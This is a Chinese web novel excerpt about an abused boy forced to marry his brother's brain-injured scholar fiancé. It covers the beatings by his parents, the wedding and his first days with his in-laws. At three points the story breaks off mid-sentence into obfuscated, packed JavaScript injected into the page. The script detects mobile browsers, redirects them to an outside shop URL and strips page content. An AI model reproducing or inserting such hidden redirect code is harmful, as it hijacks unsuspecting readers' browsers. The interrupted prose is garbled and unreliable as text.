《秀才家的替嫁小夫郎》 1. 可怜小溪遭替嫁 落日西斜,红霞满天,四个腰系红布的壮汉抬着一顶花轿从村里路过,直奔村西头严木匠家。 吹吹打打的喜乐响彻整个村子,许多村邻听见动静都出来看热闹。 那迎亲的男子十分大方,路遇讨要喜钱的孩童,就抓一大把铜钱往外抛洒,惹得看热闹的人都上来接。 陈家夫郎捏着手里的三个铜板,挤挤旁边的人问道:“严家老大这是帮谁娶亲呢?” “你这不是明知故问,除了他们家老三还能有谁?” 陈夫郎正想说话,刘大娘又接过话茬:“娶的是闻家哥儿闻柳吧?那孩子生得水灵,又上过几年学堂,跟严家老三倒是登对有话聊。” 一妇人捂着嘴笑:“我说刘大娘,您老人家是糊涂了还是说反话呢?那严家老三都摔成个傻子了,他俩还有什么可聊的。” “啊,傻了?” “可不是傻了,说起来这闻柳也真够可怜的,眼看着就要当上秀才夫人了,严家老三却摔坏了脑子。也算闻家仁义,都这样了还肯把孩子嫁过去。” “仁义个屁啊!”一直没说话的王夫郎嗤道:“那两口子拿他家大哥儿当眼珠子似的怎么舍得,嫁过去的是他家小儿子!” “什么!这严家能同意?” “嗐!都什么时候了,有个冲喜的就不错了,哪还顾得上这个。” “要我说这闻家两口子也别拿人当傻子,不过就是舍不得三十两银子的聘礼,又舍不得大哥儿,所以就让小哥儿跳了火坑,呸!缺德带冒烟的!” 火坑……可不就是个火坑吗? 自从上了花轿后闻溪眼里的泪就没断过,直到此刻他都不敢相信自己竟然真替闻柳嫁给了严逢安。 闻家和严家都在一个村里,闻溪就算再怎么两耳不闻窗外事,对严逢安这人也是有些了解的。他是稻香村唯一一个通过秀才考试的人,因才情相貌俱佳,深受未婚姑娘和哥儿的喜欢,别说是村里的人,就连镇上好多富贵人家都想跟他攀亲。 闻溪跟他比起来,一个好比那云中月,一个却似那地上泥,按理说他们俩不该有什么交集,可去年他哥闻柳不知怎么跟严逢安相熟起来,还到了谈婚论嫁的地步。 闻柳是他们村长得最好看的哥儿,眉心孕痣鲜艳又会打扮,还上过几年学堂,村里好些男人提起他都要流哈喇子。 两人在村里都是香饽饽,定亲的事情传出去后,惹得一众男人哥儿心碎不已。 听到这个消息的时候,闻溪心里升起一丝难以言明的情绪,不知道是羡慕还是别的。闻柳从小就受尽父母的宠爱没吃过一点苦,长大了还能找到这样一位如意郎君,命实在是好。 他要是也能嫁人就好了。 闻溪要求没有闻柳那般高,什么秀才举人的他从来不指望。只要能让他不再挨打,不再挨饿,不管是杀猪的也好,还是放牛的的也罢,他都愿意嫁。 可就是这么简单的要求,对他来说也是一种奢望。他是帮家里干活的老黄牛,爹娘留着他还有大用处,又怎么会主动替他操持婚事。 闻溪不敢表露自己心事,一如既往埋头干活,只盼借着这件喜事能让他在家里好好喘口气。 就在爹娘和闻柳欢欢喜喜准备成亲的家什时,严家那边却出了事。 那严逢安一个弱不禁风的书生,不知中了什么邪,非要学着别人上山打猎,到头来猎物没捞着,还把自己摔成了一个疯疯癫癫的傻子。 从秀才变成傻子,这落差不可谓不大,别说严家人,爹娘和闻柳也根本接受不了这样的打击。那阵子家里气压低得可怕,闻柳整日以泪洗面把自己锁在房里不见人,爹娘也愁眉不展,不是唉声叹气,就是骂骂咧咧说家里倒霉。平日爹娘没事都会骂他几句,出了这么大的事,更少不得要拿他当出气筒,闻溪每日不言不语专注干活,连大气都不敢喘一下。 婚礼近在眼前,严逢安却迟迟没有好转的迹象,闻柳彻底坐不住了,哭着喊着说他不嫁。 爹娘的声音断断续续从屋里出来,闻溪只听见娘说会替他想办法。 白纸黑字写好的东西,闻溪不知道她还能想出什么办法,何况严家给了三十两聘礼,闻柳不嫁,聘礼岂不是要还回去,爹娘舍得吗? 哄好了闻柳,爹娘便主动去了严家。闻溪猜想他们应该是去谈退婚的事。 是了,闻柳是家里镶了金子的宝贝,跟他的幸福比起来,三十两好像也没那么重要了。 不知道两家人说了些什么,也就一下午的功夫,原本还烦闷的两人回来后便眉开眼笑的。 那时闻溪正在晾衣裳,李巧珍一进院门就热切的走过来拉住他的手说:“小溪,我和你爹刚给你说了门好亲事……” 闻溪曾悄悄听爹娘说过,家里需要人干活,需要人伺候,闻柳成了亲后他们要再留他几年。等他二十来岁不好嫁了,再找个死了媳妇儿的鳏夫,收点聘礼,将他嫁出去。 闻溪了解他们的为人,知道他们口中所谓的好亲事是诳他的。 联想到他们刚才去的地方,闻溪心中陡然升起一股不妙的感觉,正惶恐着,又听李巧珍道:“那严家你是了解的,村里条件最好的就属他们,你要是嫁过去,保准不愁吃不愁喝的。” 村里姓严的只有一家,他们家没成亲的男子也只有一个。 这事太荒谬了,闻溪顾不上害怕,挣脱掉李巧珍的手颤声道:“那严逢安是哥哥的未婚夫,我如何能嫁?” 他这样的反应让李巧珍心中不太痛快,不过想着闻溪还有大作用,她便没立马发作。 “你俩一个未娶,一个未嫁,有什么不能的?严逢安一个秀才,能嫁给他对你来说可是天大的好事。” 闻溪忍不住在心里崩溃大叫:嫁给一个神志不清的疯子算什么好事! 他虽没亲眼去严逢安家里瞧过,外头那些人幸灾乐祸的言语他却没少听。 村里人都说严逢安摔了一跤后就跟丢了魂似的,整日在家不是乱打乱砸,就是爹妈娘的一通乱喊,傻乎乎的认不出人,要不是严家每日给他灌安神药,恐怕他早把一家人都杀光了。 闻溪在家虽然时常挨打受饿,但闻石山和李巧珍还需要他干活,总不至于要他的命。 若是嫁去严家跟那傻子做了夫妻,他这条小命还能在吗? 闻溪颤颤地伸出手抓住李巧珍的衣摆,明知无法改变她的决定,仍小声恳求:“娘,我能不能不嫁?” 李巧珍不耐烦地挥开他的手:“你不想嫁给他那你想嫁给谁?是村里的王富贵,还是邻村的张麻子?他们可都来家里打听过好几回了,要不是我心疼你,你爹早把你许给他们了。” 王富贵和张麻子这俩闻溪都听别人说过,王富贵是村里出了名的混账酒鬼,沾了点酒就喜欢打人,接连娶了三个媳妇儿,三个媳妇儿都被他打跑了。那张麻子也好不到哪去,一个年纪比他爹还大的老光棍,不知道背地里有什么折磨人的癖好。 严逢安如今这模样,跟他们也没什么区别。 闻溪知道自己性格外貌不出众,从来没想着要高攀谁,可他也不觉得自己下贱到什么人都能嫁。 这三人无论是嫁给谁,对他来说都与跳火坑无异。 他惶惶着不知如何是好,想着严逢安是和闻柳定的亲,又燃起一丝希望:“严家相中的是哥哥,我要是嫁过去,他们家如何能应?” 李巧珍胸有成竹:“我和你爹都跟他们商量好了。” 她两只眼睛像看出售的货物般在闻溪身上转了一圈:“严逢安遭了这趟灾正需要人照顾,爹娘哥嫂把他照看得再仔细也不如当夫郎的来得方便。你自幼在家干惯了活最会伺候人,嫁过去不仅能帮忙照看,还能给严逢安留个种,他们家不乐意才怪。” 不仅要照顾,还要给那样的人生孩子,闻溪听了心头只觉得惊悚。脊梁沟发紧的他绝望开口:“真就非嫁不可吗?” 耐着性子说了好半天,瞧他还一副不情不愿的模样,李巧珍彻底没了耐心,伸手拧了拧他的耳朵,气道:“这么好的亲事,别人求都求不来,你可别不识好歹!这几天你哪也不许去,好好在家待着等严家上门来迎你。若是生出什么不该有的心思,别怪我跟你爹翻脸不认人。” 这一拧用了十足的劲,闻溪眼里憋了许久的泪终于疼得落了下来。 既然两家都已经说好,那他跟严逢安的婚事便是板上钉钉了。 难道他就要这样认命吗?真去给傻子当夫郎,生孩子? 夜里闻溪躺在柴房的稻草上翻来覆去睡不着,眼睛一闭,眼前就浮现出了严逢安那张面孔。 是英俊的,也是可恶的。 严逢安跟闻柳定亲后,没少跟着闻柳一起羞辱他,不是说他长得丑没人喜欢,就说他身体瘦弱不好生养没人要,左右都挖苦他以后会成为个嫁不出去的老哥儿,这样一个尖酸刻薄对他极尽嫌弃的男人,闻溪嫁给他能有什么好下场呢?更别说这人如今还成了个胡乱打人的傻子。 严逢安可恶与可怕的两种形象在闻溪心中不断交织,吓得他浑身发抖,冷汗直流。 不行,他不能嫁。 想到自己这些年受的委屈,闻溪不知从哪来的勇气,心里生出了一个十分大胆的念头。 跑吧。 跑得远远的。 去一个没有闻家人的地方,去一个再也不受别人摆布的地方。 夜晚时分,趁着家里人都睡觉的时候,闻溪提心吊胆地打开了院里的大门。 他在这家里吃剩的穿剩的,几乎没什么自己的东西,走的时候只带了两件换洗的衣服还有这么多年攒的十文钱。 这个时辰整个村子都静悄悄的,没有鸡鸣,没有犬吠,只有阵阵夜风吹过,带来一些细碎的声响。 闻溪紧紧搂着包袱,摸着黑沿着村口的方向逃去。 长这么大他出村的次数少得可怜,村子外有高高的山,长长的河,翻过高山,跨过长河之后,他也不知道等待自己的会是什么。 说不害怕那是假的,但他更怕嫁给严逢安。 不管是脑子好的,还是脑子坏的,他都不想嫁。 可惜的是闻溪最后还是没能跑掉,还没走到村口,他就被闻石山和李巧珍抓了回去。 两人在外隐忍着没有发作,关上院门,闻石山就狠狠给了他一个耳光。 “老子白吃白喝供你这么多年,你就是这么报答我的?” “没良心的讨债鬼,跟他费什么话,我现在就打断他的腿,看他还敢不敢跑。” 李巧珍抄起扫帚就往闻溪身上招呼,她一个常年干活的农妇手劲很大,扫帚重重落在闻溪身上,疼得他死去活来。 院子只有那么大点地,闻溪无处可躲,只能不断磕头求饶:“娘我错了,求求你别打了,别打了……” 那破扫帚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李巧珍往闻溪身上啐了一口,说:“你看你哥哥对你多好,可你却连这么点小忙都不愿帮他。贱人就是贱人,不管平时装得多老实多听话,一到关键时候就成了白眼狼。” 闻石山把十个铜板收进怀里,扯着闻溪的头发像拖一条死狗,将他从院里拖进柴房。 “日子到了严家就会派人过来迎亲,这几天你就跟我在这里面好好待着。” 为了防止闻溪再次逃跑,闻石山直接从外锁住了柴房的门。 白白挨了一顿打不说,好不容易攒着的十文钱也被拿走,闻溪心里头那仅剩的指望都没了。 天上挂着一轮孤零零的月亮,柴房里的闻溪也孤零零的。 望着紧锁的柴门,两股热泪从他眼角滑落,绝望的闻溪心里浮起轻生的念头。 上吊不行,他怕勒。 跳河不行,他怕冷。 割腕不行,他怕疼。 …… 就这样一直拖延着,拖到了成亲这天。 花轿里的闻溪捧着脸哭泣,到此刻他才承认什么怕冷怕疼都是假的,他是怕死。 尽管这十六年里没过过一天好日子,他还是想活下去。 停下的花轿唤回了闻溪的思绪,一双白皙修长又有几分干瘪的大手伸进了花轿里。 闻溪一眼就看出这手是严逢安的。这人一心扑在学业上,家里的活从来没有干过,一双手白白净净的跟村里那些人完全不同。 都到了这一步,再也没有后悔的余地了。 闻溪吸了吸鼻子,咬咬唇,将自己满是老茧的手放了上去。 严家是村里大户,前头两个儿子结婚时,他们邀请了整个稻香村的村民,那流水的喜宴从早晨摆到了晚上。 这回的婚礼却办得有些冷清,除了几户跟严家关系好的,其余人他们都没有通知。 意识昏沉的严逢安被两个哥哥扶着拜了堂。 摔坏脑子的他时而痴傻,时而癫狂,怕他在这样特别的日子里闹出笑话,拜完堂后严家人又给他灌了一碗安神药,然后将他跟闻溪两人一齐送进了婚房。 婚服是照着闻柳的身量做的,穿在瘦骨嶙峋的闻溪身上手臂长了一截不说,腰间也是空落落的。 看着这明显和他身形不符的衣裳,严家老大媳妇李婉和老二夫郎何锦都在心里默默叹了口气。 闻溪是新嫁的夫郎,成亲当天不能去外头露脸,李婉语气温和对他说:“你饿不饿?我去给你拿点吃的吧。” 除了两声难掩的啜泣,闻溪并没有回应什么。 李婉转身去了厨房,留下何锦不知道该跟闻溪说些什么,迟疑片刻也跟着出去。 闻溪不敢乱动,一直等李婉端着饭菜回来,他仍攥着宽大的婚服,僵硬的保持着之前的动作。 李婉看出他的不自在,也没跟他计较什么,只道:“娘说今天大家都很累,吃完饭你可以先休息。事先我们已经跟三弟喂了药,今晚他大概是不会醒了,你放心睡。” 屋里慢慢静了下来,闻溪松开自己咬着的唇,眼泪再一次落了下来。 拜完堂,他和严逢安就是名正言顺的夫妻了。运气好,他或许还能再熬几天,运气不好,可能明天就会丢掉小命,这种脖子上悬着一把刀的感觉可真让人绝望。 在家里爹娘嫌他晦气,闻溪连哭都不敢发出太大的声音。 今日借着婚礼的热闹,他总算能够痛痛快快扯开喉咙大哭一场。 就在闻溪哭得浑身颤抖快要岔气时,头顶的红盖头忽地被人揭开了。 闻溪吓得立即收住了声,就见躺在床上的严逢安不知何时坐了起来,一手揉着脑袋,一手捏着红盖头,沙哑着声道:“别哭了。” 严家的人才说过他们跟严逢安喂了药,这人今晚都不会醒过来,此刻又是怎么回事? 闻溪又惊又惧,呆坐在床边不知如何是好。 2. 洞房花烛新婚夜 严逢安头痛欲裂,脑子里闪现着无数杂乱的片段,迷蒙的双眼盯着眼前哭得死去活来的哥儿看了好一会儿,才缓缓地开口:“你是……溪哥儿?” 闻溪摸不清严逢安现在的情况,更不知他的脑子到底是好是坏,傻傻的不知该不该回答。 摇曳红烛下,他颤抖着身体,眼睛肿得像核桃一样,哭花的脸庞还挂着两行未落下的热泪。 瞧着真是可怜。 严逢安呼出一口浊气,拿起盖头擦掉闻溪腮边的眼泪,在闻溪大气都不敢出一下的时候又忽然哀嚎着双手锤头,身体像被万只虫子咬噬般在床上扭来扭去。 闻溪从没见过这样子的他,哆嗦着嘴唇想喊人,又被严逢安抓住了手腕:“别叫……” 这番模样实在骇人,闻溪脑子嗡嗡作响,全然不知该作何反应,只凭着本能把人推得离自己远了些。 却不想那严逢安跟纸糊的似的,被他轻轻一推便晕了过去。 闻溪浑身发抖,小脸煞白,着急忙慌地伸手在严逢安鼻下探了探。 还好,还好……还有气在! 他这番嫁过来跟冲喜也没什么区别,若是严逢安在他手上出了什么事,严家肯定不会饶了他。 接二连三的事故让闻溪成了惊弓之鸟,盯着严逢安看了半天,见他真的没有任何反应后,闻溪才动了动自己的身子。 没了盖头,桌上饭菜的香气直往他鼻子里钻。 闻家这几天就拿着野菜糊糊吊着他的命,既让他无力逃跑,又不至于让他饿死。此刻胃里空荡荡的,光是闻着饭菜的香味,闻溪嘴里就不自觉的分泌着唾液。 怕是真的,饿也是真的。 迟疑片刻,他还是没能抵抗住饭菜的诱惑,起身走到了桌子边。 严家大嫂不仅端来了肉汤,还贴心的在碗里给他放了一个鸡腿。 闻溪在家从没吃过这样的好东西,没人看见他也顾不上矜持,拿起筷子不管不顾地狼吞虎咽起来。 中途吃得太急还被噎了好几次,喝了两口汤缓了一阵,他又埋头吃了起来。 饭菜分量很足,闻溪撑得肚子都快炸了,仍咬牙吃了个干净。 这也许会是他此生吃得最好的一顿饭,若是不好好珍惜,以后怕是再也吃不到了。 外面的天空渐渐黑透,热闹声也慢慢消失,今夜本该洞房花烛,闻溪的新婚丈夫却沉睡不醒。 严逢安的床看起来温软舒服,闻溪却不敢跟他同床共眠,他怕严逢安半夜发狂,趁他睡着时将他掐死,若是因此丢了性命实在憋屈。 闻溪胆小却惜命,换下喜服从装嫁妆的小箱子里翻出自己陪嫁的被褥,找了个离床边比较远的墙角靠着,将就度过这一夜。 身上的伤还没好,整日又为着嫁给严逢安的事恐惧忧虑,在这样危险又陌生的环境里,闻溪以为自己会睡不着,谁知刚闭上眼没多久眼皮还是沉了。 直到第二天后院的公鸡开始叫唤闻溪才醒了过来,摸了摸自己温热的身体,他不禁松了口气。 真好,又多活了一天! 起身时脑袋有些发晕他也没在意,整理好被褥,轻手轻脚出了厢房。 院子里静悄悄的,没一点儿人声,只灶房那边的屋顶冒着缕缕炊烟。 闻溪在厢房门口站了一会儿,便朝着灶房走去。 听见动静的何锦从里面探出头来,今日轮到他做饭,家里的人不会起得那么早,所以见到闻溪他毫不意外。 他当做没看到闻溪红肿的眼睛,问他:“时辰还早,老三夫郎你怎么不多睡会儿?” 听到这个称呼闻溪有片刻的恍惚,一夜之间,他就从一个清清白白的哥儿变成了别人的夫郎。 比起昨夜闻溪的心情已经平复了一些,他冲着何锦小声道:“我在家都是这个时候起床,习惯了。” 何锦道:“我刚烧好了热水,你先过来洗把脸吧,等会儿爹娘起床了,你这个新夫郎还得给他们敬茶呢。” 闻溪轻轻应了一声,低着头走进灶房。 洗脸的面巾和木盆都是新的,闻溪估摸着这是严家给闻柳准备的,到头来却便宜了他。 何锦往木盆里舀了两瓢热水,在闻溪洗脸的时候,他伸手指了指自己的眼睛,提醒他:“用热水敷一会儿,应该会好一些。” 没有铜镜,闻溪也不知此时的自己是个什么模样,昨夜哭得那般凶,想来是不大好看的。 闻溪面颊发红,听话地将热乎乎的面巾盖在眼睛上。 出嫁前爹娘什么都没教过他,闻溪不知道嫁到别人家里要做些什么,也不知严家人对他是何态度。 察觉到何锦的善意,闻溪心中好似找到了一个倚靠,洗完脸他又忙不迭道:“我……我跟你一起做饭吧。” 何锦看出他的不安和拘束,语气轻松道:“那感情好,我正说一个人忙不过来呢。” 早晨的吃食最是简单,一点稀粥加咸菜就能解决,什么忙不过来,不过是他给闻溪递的台阶。 “只是我看你脸色不太好,是不是哪里不舒服,要不再回房休息会儿?” 闻溪身上伤口隐隐作痛,头也晕晕乎乎的,确实不太舒服。但他对这些都习以为常,压根不觉得有什么休息的必要。 何况严逢安还在屋里躺着,谁知道他什么时候会醒过来,闻溪哪敢再进去。 他摇头说不用,何锦便让他坐在灶膛前烧火添柴。 等饭快好的时候,严逢安的爹娘也到时间起床了。 敬茶的事情原本该新婚的小两口一起做,严逢安情况特殊,只能闻溪一个人去。 他在家被闻石山和李巧珍打怕了,对这个年纪的长辈打从心里畏惧。 严世昌长得比闻石山威严,陈兰芳平时也没少为鸡毛蒜皮的小事和人骂架,闻溪虽跟他们接触不多,但旁人的议论他也听过一些。 在那些人口中,这俩口子不是什么良善好相与的人,家里规矩也多,也不知他们会不会故意为难自己。 何锦还在灶房忙碌没有过来,陌生的环境里身旁没个依傍,闻溪心头只剩下紧张和害怕,进了正厅就慌慌张张的跪在两个长辈脚边,身体抖得跟那做坏事被抓住的贼人一般。 陈兰芳看得直皱眉头,好歹也是他们家明媒正娶的夫郎,这般胆小畏缩成何体统。 眼瞅着婆婆有些不快,李婉忙端起桌上的茶盏递到闻溪手中,笑眯眯道:“三弟夫郎,想要红封光磕头可没用,还得敬茶改口叫爹娘呢。” 李婉适时的解围让沉闷的气氛围轻松了许多,闻溪也不是个傻的,有人提点,他立马就明白自己该怎么做。感激地从李婉手中接过茶盏,双手捧着,依次举到严世昌和陈兰芳跟前。 “爹……娘……请喝茶。” 老两口的态度不算热络,但也没有像闻溪想的那般故意刁难,淡淡应了声后,接过茶盏抿了一口。 喝了茶严世昌道:“行了,不用跪着了,起来吧。” 他们怎么说闻溪就怎么做,等他站起来后陈兰芳和严世昌又从各自的袖口里摸出一个红封:“这是改口钱,拿着吧。” 李婉的话闻溪只当是打趣,没想到公公婆婆竟然真的会给钱。 见闻溪呆呆站在原地没有反应,李婉不得不小声提醒:“愣着干什么,快接啊!” 闻溪手比脑子反应更快,赶紧把红封接过来攥在手里。 两个红封叠在一起有些分量,直到此刻他都难以置信,不自觉呢喃:“这真的是给我的吗?” 陈兰芳觉得好笑:“你是家里的新夫郎,红封不给你又给谁?怎么,你还嫌少不想要?” 闻溪怕被她误会,连连摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536427|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头解释:“不是,我没有嫌少,只是我……” 闻溪想说自己一个冲喜的哪配得上这些,话到嘴边又赶紧收了回去。 有些事情大家都心知肚明,但真说出来肯定会让人不舒坦。 能在闻家那样的环境中长大,闻溪还没缺心眼到不分场合乱说话。 胆小是胆小,好在不是个笨蛋,陈兰芳观察了他一阵道:“既然你已经嫁过来了,那有些话咱们就得提前说好。” 闻溪低着头:“您说。” “你替闻柳嫁过来的事儿是我们两边大人商量好的,拜了堂你跟逢安就是名副其实的两口子了,只要你老实本分安心照顾他,严家自然也会好好待你。若是你敢生出些什么旁的心思出来……” 后面的话陈兰芳没有说完,但也足够威慑闻溪。 他能有什么心思,他就想好好活着罢了。 深知自己没有别的选择,闻溪点头轻声应允道:“我一定好好照顾严秀才。” 该说的都说完了,陈兰芳摆摆手道:“收拾收拾吃饭吧,完了让婉娘和锦哥儿带你到处转转,熟悉熟悉咱们家的情况。” 吃饭前,闻溪先回房把红封收了起来。 床上的严逢安仍沉沉睡着,屋里没其他人,闻溪终是按捺不住心里的好奇,打开红封将里头用红线串着的铜钱拿出来细致地数了数。 这一数,倒是很让他吃惊。一个红封里放了二十文钱,两个红封加起来便是四十文,比闻石山从他这里抢走的私房钱还要多出许多来,严家人可真是大方。 说不开心那是假的,可那点开心就像一缕烟雾,打个喷嚏就散了。 他跟严逢安毕竟不是正常夫妻,闻溪心里非常清楚他跟严家人都没有真正接纳对方。 老两口的心意他领了,至于这四十文钱他不敢擅自使用,思来想去后还是将红封收进了严逢安书桌的抽屉里。 —— 陈兰芳和严世昌生了三个儿子,三个儿子都跟他们住在一块没有分家。 加上老大家的儿子铁柱与老二家的丫头桃儿,严家一共九口人。 闻溪嫁进来家里便足足有了十口人。 吃饭的时候一张桌子坐不下,李婉早早就给两个孩子挑好了菜,将他们赶到了旁边的小凳上。 小孩子不讲究这些,坐在小凳上也吃得津津有味。 闻溪上桌的时候,嘴里吃着东西的两个小孩一边好奇的打量他,一边含糊喊道:“小溪叔叔好。” 童音稚嫩可爱,两个孩子乖得闻溪心里的紧张都淡了几分。 严逢安两个哥哥也不是话多的汉子,冲着闻溪点点头就算认了他这个弟夫郎。 这还是闻溪第一回上桌吃饭,在闻家他只能等爹娘下席躲在厨房吃点他们的残羹剩饭。 就这样李巧珍还骂他是饿死鬼投胎,到处跟别人说他嘴馋。 想来他确实是馋的,不然怎么这会儿喝了一碗粥后还觉得饿呢? 闻溪怕刚进门第一天就给严家人留下嘴馋的坏印象,把碗里的粥刮吃干净后他就识相的没有再去添饭。 严家灶房的活是家里的女人哥儿轮着来的,今日该何锦。等所有人都下了席,他一个人收拾了桌椅碗筷,闻溪则是跟着李婉熟悉家里其他的活计。 他一个新嫁过来的夫郎,本来李婉是不好叫他干活的,可闻溪实在闲不住,严家很大,他却感觉自己站在哪儿都很多余,不找点事干,他怕这家里的人会觉得他碍眼。 喂完了鸡,闻溪又去柴房劈柴,这些活他在娘家都做惯了,干起来一点不费事。就是不知为何,今天干活的时候脑袋好像昏得特别厉害。 闻溪放下斧子缓了缓气,正想去灶房喝口水,站起来时却感觉天和地都在打转,不一会儿,他整个人就像根煮好的面条瘫在了地上,没了意识。 3. 小溪伤口终袒露 突然没了动静,李婉感觉奇怪,不放心的过去瞧了一眼,这一瞧便吓了一跳。一边把人扶起,一边大喊道:“爹娘你们快来啊,三弟夫郎晕倒了。” 陈兰芳听得眉心一跳,小儿子那副模样就罢了,怎么娶的夫郎也这般弱不禁风。 家里有一个病人就够受了,再来一个她可没那精力伺候。 不过就算心里再不痛快,她也没狠心到不顾闻溪的死活,让两个媳妇儿把闻溪扶回房里后,她又叫大儿子严望春赶紧去请村里的大夫。 新房的大床上一大一小躺着两个人,大的那个双眉紧皱,昏睡不醒。 小的那个面颊发红,嘴里含糊不清的喊着疼。 越看陈兰芳心里越觉得发苦。 既是喊疼那身上肯定有伤,这屋里除了她们婆媳几个也没外人,她道:“锦哥儿你把他衣服解开,看看他是哪不痛快。” 何锦照做,刚把闻溪胸前的衣服解开,便发出一声小小的惊呼。 只见闻溪身上大大小小遍布着各种伤口,新的旧的都有。最严重的当属心窝处,到现在这地方都还淤肿了一大块,黑黑紫紫的,看着就吓人。 大腿和后背也带着不同程度的伤,何锦认真看了一遍,竟没在闻溪身上看到一块好肉。 他心生怜悯怒道:“那闻家两口子可真是畜生,即便是这孩子犯了天大的错,也不该把人打成这样。” 陈兰芳心里也不是滋味,她们家三个儿子从小也皮得不行,可不管孩子怎么淘气,她跟严世昌都没下过这么重的手。 那可是从自己肚子里钻出来的娃,谁舍得这么打。 早听说闻家那两口子心生得偏,大哥儿和小哥儿在家里是两种完全不同的待遇。 大的那个当少爷养,小的那个当仆人使,却不想这小的那个在家的待遇竟然连仆人都不如。 谁家要是敢这样打仆人,早被官府抓走罚钱了。 偏生父母恩情比天大,别说是挨揍了,就算父母真的不小心把孩子打死,外人也是说不上话的。 稍稍一想,陈兰芳就知道闻溪这身新伤是怎么来的。 铁定是他不愿意嫁过来那两口子气不过打的。 陈兰芳心里生出一股气来,若她们家逢安没受伤,想娶个什么样的媳妇儿娶不到,哪还轮得到闻家这俩哥儿挑挑拣拣。 闻溪不愿意嫁,严家还不想娶呢。都是一个村的,谁还不知道谁,闻家这两口子眼皮子一个比一个浅,心一个比一个黑,跟这样的人当亲家,真是有够晦气的。 还有那个闻柳,别看他是村里长得最好看的哥儿,陈兰芳却是一点都瞧不上他。 明明跟其他人一样是个泥腿子出生,闻家那两口子偏生把他养得跟城里那些金贵的哥儿一样,家里家外什么重活都不让他干,衣来伸手饭来张口,全等着别人伺候。 他们家逢安要读书,家里的活也没怎么干,再娶个这样的夫郎进门,日子还过不过了? 要不是儿子闹着非他不娶,陈兰芳还真不会答应这门亲事。 上个月严逢安在山上摔伤后,闻柳只过来看了一回,后续就再也没见过他的影儿。 陈兰芳本来就不满意他,见他这般薄情更是心寒,瞧着他也不像会老实嫁过来的样子,就想借此机会解除两家的亲事。 前提是闻家得将他们家给的三十两聘礼还回来。 谁知闻家那两口子忒不要脸,既不愿意退还聘礼,又不愿自家大哥儿嫁过来,还主动提了小哥儿替嫁的事。 陈兰芳知道以这两人黑心的程度,就算她们家不同意,到了婚礼那天恐怕也得弄个偷梁换柱。 这事要真闹起来,严家肯定占理。 婚书上明明白白写着闻柳的名字,就算去县衙打官司,严家也是不怕的。 只是严世昌和陈兰香在这村里风光体面惯了,严逢安出了事就够让他俩闹心的,成婚当天再出什么岔子,他俩这张老脸真不知该往哪搁。 再说那闻柳人懒心思重,真嫁过来少不得要把这家搅和得鸡犬不宁。闻溪性子是软弱了些,但胜在人勤快老实,两相对比,陈兰芳肯定更中意他。 经过一番权衡,她跟严世昌才咬牙答应了这荒唐的事。 明明替嫁是两家说好的,闻家非要弄得这般不体面,陈兰芳真是憋了一肚子火不知往哪发。 然而在看到闻溪那一身触目惊心的伤痕时,她硬起的心肠又不禁软了下来。 …… 迷迷糊糊醒来的时候,闻溪感觉有人在他额头上放了块冰冰凉凉的帕子。 睁眼便看见陈兰芳坐在床边,想起以前生病时爹娘的打骂,闻溪吓坏了,也不管自己做了什么开口就是认错的话:“对不起娘,我…我不是故意晕倒的……” 说着他还想从床上起来给陈兰芳跪下。 陈兰芳按着他躺了回去,说:“这有什么对不起的,一个人会不会生病又不是他自个儿能决定的。你受了风寒正在发热,身上又带着那么多的伤,不晕才怪。” 闻溪张嘴想说什么,陈兰芳又道:“刚村里大夫过来瞧过,除了外伤,他还说你身体底子薄,亏空得厉害,得好好休息调养,否则容易留下病根。” 闻溪没听出她的弦外之音,只想着严家花三十两聘礼娶他过门的事儿。 这钱甭管是为了娶谁,严家可是实打实花出去的。娶他过来本意是想他好好伺候严逢安,谁知他竟然这么不争气,干那么点活就晕倒了,若是严家觉得吃亏又将他退回去,那他岂不是更没活路了? 严家是不是好的归宿闻溪不知道,但他明白自己一定不能再回到闻家。 因此便着急忙慌的跟陈兰芳解释:“我身体一向很好,就算生病也能很快恢复,不耽误干活的。以后要是再有这种情况,您让我歇歇就行,不用花那冤枉钱请大夫。” “糊涂!”陈兰芳忍了又忍,还是没忍住伸出手戳了戳闻溪的脑袋,“真不知道你那爹娘是怎么养你的,哪有人这么作践自己。” 这么大个孩子,在家的处境连个牲口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536428|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不如,也难怪会是这样的性子。 陈兰芳气不过,又在心里狠狠骂了闻石山两口子。 闻溪听出这话是在为自己抱不平,他捂着脑袋,低头掩住自己发红的眼。 陈兰芳叹了口气,说:“罢了,我跟你公公从来不糟践自家屋里的人,这几天家里的活你就别干了,等身体养好了你就专门照顾你男人,那才是最重要的事儿。” 陈兰芳的体谅与宽容让闻溪心生感激,他知道严家娶他进门的目的,只要严家人给他饭吃,不打他,他一定会好好照顾严逢安的。 只一点让他心中不安,那严逢安是不是真的会发疯打人呢? 闻溪不好意思点明,一番话在心里酝酿半天,他才小心翼翼开口:“昨夜睡觉前,严秀才曾唤我一声溪哥儿,我看他神色不像痴狂之人,想来他的病情应该不似外头人传的那般严重。” 陈兰芳恨恨道:“那些碎嘴子坏胚子就知道在外传谣,我儿堂堂一个秀才,他怎么会发疯打人。” 闻溪瞅着她的脸色点头:“我瞧着也不像。” 